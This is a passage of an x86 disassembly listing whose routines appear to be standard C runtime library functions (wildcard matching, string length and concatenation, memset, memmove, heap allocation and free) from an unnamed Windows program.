		cmp	cl, 3Fh
		jz	short loc_40E563
		cmp	cl, 5Bh
		jz	short loc_40E568
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40E563:				; CODE XREF: sub_40E52F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40E593
; ---------------------------------------------------------------------------


loc_40E568:				; CODE XREF: sub_40E52F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40E5C5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40E593
; ---------------------------------------------------------------------------


loc_40E580:				; CODE XREF: sub_40E52F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40E65D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40E593:				; CODE XREF: sub_40E52F+37j
					; sub_40E52F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40E539
; ---------------------------------------------------------------------------


loc_40E599:				; CODE XREF: sub_40E52F+Ej
					; sub_40E52F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40E5A9
		cmp	eax, 1
		jnz	short loc_40E5C0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40E599
; ---------------------------------------------------------------------------


loc_40E5A9:				; CODE XREF: sub_40E52F+6Dj
		cmp	eax, 1
		jnz	short loc_40E5C0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40E5C0
		cmp	byte ptr [esi],	0
		jnz	short loc_40E5C0
		push	1
		pop	eax
		jmp	short loc_40E5C2
; ---------------------------------------------------------------------------


loc_40E5C0:				; CODE XREF: sub_40E52F+72j
					; sub_40E52F+7Dj ...
		xor	eax, eax


loc_40E5C2:				; CODE XREF: sub_40E52F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40E52F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5C5	proc near		; CODE XREF: sub_40E52F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40E5E6
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40E5E6:				; CODE XREF: sub_40E5C5+19j
		push	ebx
		push	esi


loc_40E5E8:				; CODE XREF: sub_40E5C5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40E5F6
		cmp	[ebp+var_4], eax
		jnz	short loc_40E642


loc_40E5F6:				; CODE XREF: sub_40E5C5+2Aj
		test	edi, edi
		jnz	short loc_40E637
		cmp	bl, 2Dh
		jnz	short loc_40E62B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40E62B
		cmp	al, 5Dh
		jz	short loc_40E62B
		cmp	[ebp+var_4], edi
		jnz	short loc_40E62B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40E637
		cmp	bl, al
		jg	short loc_40E637
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40E637
; ---------------------------------------------------------------------------


loc_40E62B:				; CODE XREF: sub_40E5C5+38j
					; sub_40E5C5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40E637
		push	1
		pop	edi


loc_40E637:				; CODE XREF: sub_40E5C5+33j
					; sub_40E5C5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40E5E8
; ---------------------------------------------------------------------------


loc_40E642:				; CODE XREF: sub_40E5C5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40E64F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40E64F:				; CODE XREF: sub_40E5C5+82j
		cmp	edi, eax
		jnz	short loc_40E658
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40E658:				; CODE XREF: sub_40E5C5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40E5C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E65D	proc near		; CODE XREF: sub_40E52F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40E679:				; CODE XREF: sub_40E65D+3Aj
		cmp	[eax], bl
		jz	short loc_40E699
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40E68E
		cmp	cl, 2Ah
		jnz	short loc_40E699
		cmp	cl, 3Fh
		jnz	short loc_40E691


loc_40E68E:				; CODE XREF: sub_40E65D+25j
		inc	eax
		mov	[edi], eax


loc_40E691:				; CODE XREF: sub_40E65D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40E679
; ---------------------------------------------------------------------------


loc_40E699:				; CODE XREF: sub_40E65D+1Ej
					; sub_40E65D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40E6A4
		inc	dword ptr [esi]
		jmp	short loc_40E699
; ---------------------------------------------------------------------------


loc_40E6A4:				; CODE XREF: sub_40E65D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40E6C5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40E6B6
		xor	eax, eax
		jmp	short loc_40E725
; ---------------------------------------------------------------------------


loc_40E6B6:				; CODE XREF: sub_40E65D+53j
		cmp	cl, bl
		jnz	short loc_40E6C5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40E6C5
		push	1
		pop	eax
		jmp	short loc_40E725
; ---------------------------------------------------------------------------


loc_40E6C5:				; CODE XREF: sub_40E65D+4Dj
					; sub_40E65D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40E52F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E70F


loc_40E6D3:				; CODE XREF: sub_40E65D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40E6D7:				; CODE XREF: sub_40E65D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40E6EF
		cmp	cl, 5Bh
		jz	short loc_40E6EF
		cmp	dl, bl
		jz	short loc_40E6EF
		inc	eax
		mov	[edi], eax
		jmp	short loc_40E6D7
; ---------------------------------------------------------------------------


loc_40E6EF:				; CODE XREF: sub_40E65D+82j
					; sub_40E65D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40E706
		push	eax
		push	dword ptr [esi]
		call	sub_40E52F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40E70B
; ---------------------------------------------------------------------------


loc_40E706:				; CODE XREF: sub_40E65D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40E70B:				; CODE XREF: sub_40E65D+A7j
		cmp	eax, ebx
		jnz	short loc_40E6D3


loc_40E70F:				; CODE XREF: sub_40E65D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40E722
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40E722
		mov	[ebp+var_4], 1


loc_40E722:				; CODE XREF: sub_40E65D+B6j
					; sub_40E65D+BCj
		mov	eax, [ebp+var_4]


loc_40E725:				; CODE XREF: sub_40E65D+57j
					; sub_40E65D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E65D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E730	proc near		; CODE XREF: sub_401000+B2p
					; sub_40197B+7p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40E750


loc_40E73C:				; CODE XREF: sub_40E730+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40E783
		test	ecx, 3
		jnz	short loc_40E73C
		add	eax, 0


loc_40E750:				; CODE XREF: sub_40E730+Aj
					; sub_40E730+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40E750
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40E7A1
		test	ah, ah
		jz	short loc_40E797
		test	eax, 0FF0000h
		jz	short loc_40E78D
		test	eax, 0FF000000h
		jz	short loc_40E783
		jmp	short loc_40E750
; ---------------------------------------------------------------------------


loc_40E783:				; CODE XREF: sub_40E730+11j
					; sub_40E730+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40E78D:				; CODE XREF: sub_40E730+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40E797:				; CODE XREF: sub_40E730+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40E7A1:				; CODE XREF: sub_40E730+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40E730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7AB	proc near		; CODE XREF: sub_401000+A2p
					; sub_402147+69p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_410DB0
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40E7EA
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40E7F7
; ---------------------------------------------------------------------------


loc_40E7EA:				; CODE XREF: sub_40E7AB+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_410C9B
		pop	ecx
		pop	ecx


loc_40E7F7:				; CODE XREF: sub_40E7AB+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E7AB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E800	proc near		; CODE XREF: sub_401000+15p
					; sub_401294+6Ep ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40E853
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40E847
		neg	ecx
		and	ecx, 3
		jz	short loc_40E829
		sub	edx, ecx


loc_40E823:				; CODE XREF: sub_40E800+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40E823


loc_40E829:				; CODE XREF: sub_40E800+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40E847
		rep stosd
		test	edx, edx
		jz	short loc_40E84D


loc_40E847:				; CODE XREF: sub_40E800+18j
					; sub_40E800+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_40E847


loc_40E84D:				; CODE XREF: sub_40E800+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E800+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40E800	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E858	proc near		; CODE XREF: sub_4010F9+7Ap
					; sub_4010F9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_40E86C


loc_40E864:				; CODE XREF: sub_40E858+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_40E864


loc_40E86C:				; CODE XREF: sub_40E858+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_40E871:				; CODE XREF: sub_40E858+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_40E871
		pop	esi
		retn
sub_40E858	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E882	proc near		; CODE XREF: sub_401294+228p
					; sub_4014EF+D7p ...

arg_0		= dword	ptr  4

		push	dword_4BA2DC
		push	[esp+4+arg_0]
		call	sub_40E894
		pop	ecx
		pop	ecx
		retn
sub_40E882	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E894	proc near		; CODE XREF: sub_40E882+Ap
					; sub_40F7B5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_40E8BD


loc_40E89B:				; CODE XREF: sub_40E894+27j
		push	[esp+arg_0]
		call	sub_40E8C0
		test	eax, eax
		pop	ecx
		jnz	short locret_40E8BF
		cmp	[esp+arg_4], eax
		jz	short locret_40E8BF
		push	[esp+arg_0]
		call	sub_4115BA
		test	eax, eax
		pop	ecx
		jnz	short loc_40E89B


loc_40E8BD:				; CODE XREF: sub_40E894+5j
		xor	eax, eax

locret_40E8BF:				; CODE XREF: sub_40E894+13j
					; sub_40E894+19j
		retn
sub_40E894	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8C0	proc near		; CODE XREF: sub_40E894+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4BB8E4
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_40E8E4
		cmp	esi, dword_4BB8DC
		ja	short loc_40E916
		push	esi
		call	sub_411B43
		test	eax, eax
		pop	ecx
		jz	short loc_40E916
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E8E4:				; CODE XREF: sub_40E8C0+Dj
		cmp	eax, 2
		jnz	short loc_40E916
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_40E8F9
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_40E8FC
; ---------------------------------------------------------------------------


loc_40E8F9:				; CODE XREF: sub_40E8C0+2Fj
		push	10h
		pop	esi


loc_40E8FC:				; CODE XREF: sub_40E8C0+37j
		cmp	esi, dword_4240CC
		ja	short loc_40E923
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_4125E6
		test	eax, eax
		pop	ecx
		jnz	short loc_40E932
		jmp	short loc_40E923
; ---------------------------------------------------------------------------


loc_40E916:				; CODE XREF: sub_40E8C0+15j
					; sub_40E8C0+20j ...
		test	esi, esi
		jnz	short loc_40E91D
		push	1
		pop	esi


loc_40E91D:				; CODE XREF: sub_40E8C0+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_40E923:				; CODE XREF: sub_40E8C0+42j
					; sub_40E8C0+54j
		push	esi
		push	0
		push	dword_4BB8E0
		call	dword_41A120	; RtlAllocateHeap


loc_40E932:				; CODE XREF: sub_40E8C0+52j
		pop	esi
		retn
sub_40E8C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E940	proc near		; CODE XREF: sub_401294+37p
					; sub_401294+5Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40E960
		cmp	edi, eax
		jb	loc_40EAD8


loc_40E960:				; CODE XREF: sub_40E940+16j
		test	edi, 3
		jnz	short loc_40E97C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40E99C
		rep movsd
		jmp	off_40EA88[edx*4]
; ---------------------------------------------------------------------------


loc_40E97C:				; CODE XREF: sub_40E940+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40E994
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40E99C+4[eax*4]
; ---------------------------------------------------------------------------


loc_40E994:				; CODE XREF: sub_40E940+46j
		jmp	dword ptr loc_40EA98[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E99C:				; CODE XREF: sub_40E940+31j
					; sub_40E940+8Ej ...
		jmp	off_40EA1C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40E9B0
		dd offset loc_40E9DC
		dd offset loc_40EA00
; ---------------------------------------------------------------------------


loc_40E9B0:				; DATA XREF: sub_40E940+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40E99C
		rep movsd
		jmp	off_40EA88[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E9DC:				; DATA XREF: sub_40E940+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40E99C
		rep movsd
		jmp	off_40EA88[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40EA00:				; DATA XREF: sub_40E940+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_40E99C
		rep movsd
		jmp	off_40EA88[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40EA1C	dd offset loc_40EA7F	; DATA XREF: sub_40E940:loc_40E99Cr
		dd offset loc_40EA6C
		dd offset loc_40EA64
		dd offset loc_40EA5C
		dd offset loc_40EA54
		dd offset loc_40EA4C
		dd offset loc_40EA44
		dd offset loc_40EA3C
; ---------------------------------------------------------------------------


loc_40EA3C:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40EA44:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40EA4C:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40EA54:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40EA5C:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40EA64:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40EA6C:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40EA7F:				; CODE XREF: sub_40E940:loc_40E99Cj
					; DATA XREF: sub_40E940:off_40EA1Co
		jmp	off_40EA88[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40EA88	dd offset loc_40EA98	; DATA XREF: sub_40E940+35r
					; sub_40E940+92r ...
		dd offset loc_40EAA0
		dd offset loc_40EAAC
		dd offset loc_40EAC0
; ---------------------------------------------------------------------------


loc_40EA98:				; CODE XREF: sub_40E940+35j
					; sub_40E940+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40EAA0:				; CODE XREF: sub_40E940+35j
					; sub_40E940+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EAAC:				; CODE XREF: sub_40E940+35j
					; sub_40E940+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40EAC0:				; CODE XREF: sub_40E940+35j
					; sub_40E940+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EAD8:				; CODE XREF: sub_40E940+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40EB0C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40EB00
		std
		rep movsd
		cld
		jmp	off_40EC20[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40EB00:				; CODE XREF: sub_40E940+1B1j
					; sub_40E940+208j ...
		neg	ecx
		jmp	off_40EBD0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40EB0C:				; CODE XREF: sub_40E940+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40EB24
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40EB24+4[eax*4]
; ---------------------------------------------------------------------------


loc_40EB24:				; CODE XREF: sub_40E940+1D6j
					; DATA XREF: sub_40E940+1DDr
		jmp	off_40EC20[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40EB37+1
; ---------------------------------------------------------------------------
		pop	eax
		jmp	short near ptr loc_40EB72+1
; ---------------------------------------------------------------------------
		align 4
		sub	bl, 40h


loc_40EB37:				; DATA XREF: sub_40E940+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_40EB00
		std
		rep movsd
		cld
		jmp	off_40EC20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8


loc_40EB72:				; CODE XREF: sub_40E940+1F1j
		jb	short loc_40EB00
		std
		rep movsd
		cld
		jmp	off_40EC20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40EB00
		std
		rep movsd
		cld
		jmp	off_40EC20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		aam	0EBh
		inc	eax
		add	ah, bl
		jmp	short loc_40EBFB
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_40EBE4
		dd offset dword_40EBEC
		dd offset dword_40EBF4
; ---------------------------------------------------------------------------
		cld
		jmp	short loc_40EC0B
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_40EC04
off_40EBD0	dd offset loc_40EC17	; DATA XREF: sub_40E940+1C2r
		dd 1C8E448Bh, 1C8F4489h, 188E448Bh, 188F4489h
dword_40EBE4	dd 148E448Bh, 148F4489h	; DATA XREF: sub_40E940+27Co
dword_40EBEC	dd 108E448Bh, 108F4489h	; DATA XREF: sub_40E940+280o
dword_40EBF4	dd 0C8E448Bh		; DATA XREF: sub_40E940+284o
		db 89h,	44h, 8Fh
; ---------------------------------------------------------------------------


loc_40EBFB:				; CODE XREF: sub_40E940+279j
		or	al, 8Bh
		inc	esp
; ---------------------------------------------------------------------------
		dw 88Eh
		dd 88F4489h
dword_40EC04	dd 48E448Bh		; DATA XREF: sub_40E940+28Co
		db 89h,	44h, 8Fh
; ---------------------------------------------------------------------------


loc_40EC0B:				; CODE XREF: sub_40E940+289j
		add	al, 8Dh
		add	al, 8Dh
; ---------------------------------------------------------------------------
		db 0
		dd 3000000h
		db 0F0h, 3, 0F8h
; ---------------------------------------------------------------------------


loc_40EC17:				; CODE XREF: sub_40E940+1C2j
					; DATA XREF: sub_40E940:off_40EBD0o
		jmp	off_40EC20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40EC20	dd offset loc_40EC30	; DATA XREF: sub_40E940+1B7r
					; sub_40E940:loc_40EB24r ...
		dd offset loc_40EC38
		dd offset loc_40EC48
		dd offset loc_40EC5C
; ---------------------------------------------------------------------------


loc_40EC30:				; CODE XREF: sub_40E940+1B7j
					; sub_40E940:loc_40EB24j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EC38:				; CODE XREF: sub_40E940+1B7j
					; sub_40E940:loc_40EB24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EC48:				; CODE XREF: sub_40E940+1B7j
					; sub_40E940:loc_40EB24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EC5C:				; CODE XREF: sub_40E940+1B7j
					; sub_40E940:loc_40EB24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40E940	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40EC80	proc near		; CODE XREF: sub_401294+8p
					; sub_4014EF+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_40ECA0


loc_40EC8C:				; CODE XREF: sub_40EC80+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40EC8C


loc_40ECA0:				; CODE XREF: sub_40EC80+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_40EC80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECAF	proc near		; CODE XREF: sub_4014EF+122p
					; sub_4014EF+12Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_40ED15
		mov	eax, dword_4BB8E4
		cmp	eax, 3
		jnz	short loc_40ECDB
		push	esi
		call	sub_4117EF
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40ED07
		push	eax
		call	sub_41181A
		pop	ecx
		pop	ecx
		jmp	short loc_40ED15
; ---------------------------------------------------------------------------


loc_40ECDB:				; CODE XREF: sub_40ECAF+14j
		cmp	eax, 2
		jnz	short loc_40ED06
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41254A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40ED06
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_4125A1
		add	esp, 0Ch
		jmp	short loc_40ED15
; ---------------------------------------------------------------------------


loc_40ED06:				; CODE XREF: sub_40ECAF+2Fj
					; sub_40ECAF+44j
		push	esi


loc_40ED07:				; CODE XREF: sub_40ECAF+20j
		push	0
		push	dword_4BB8E0
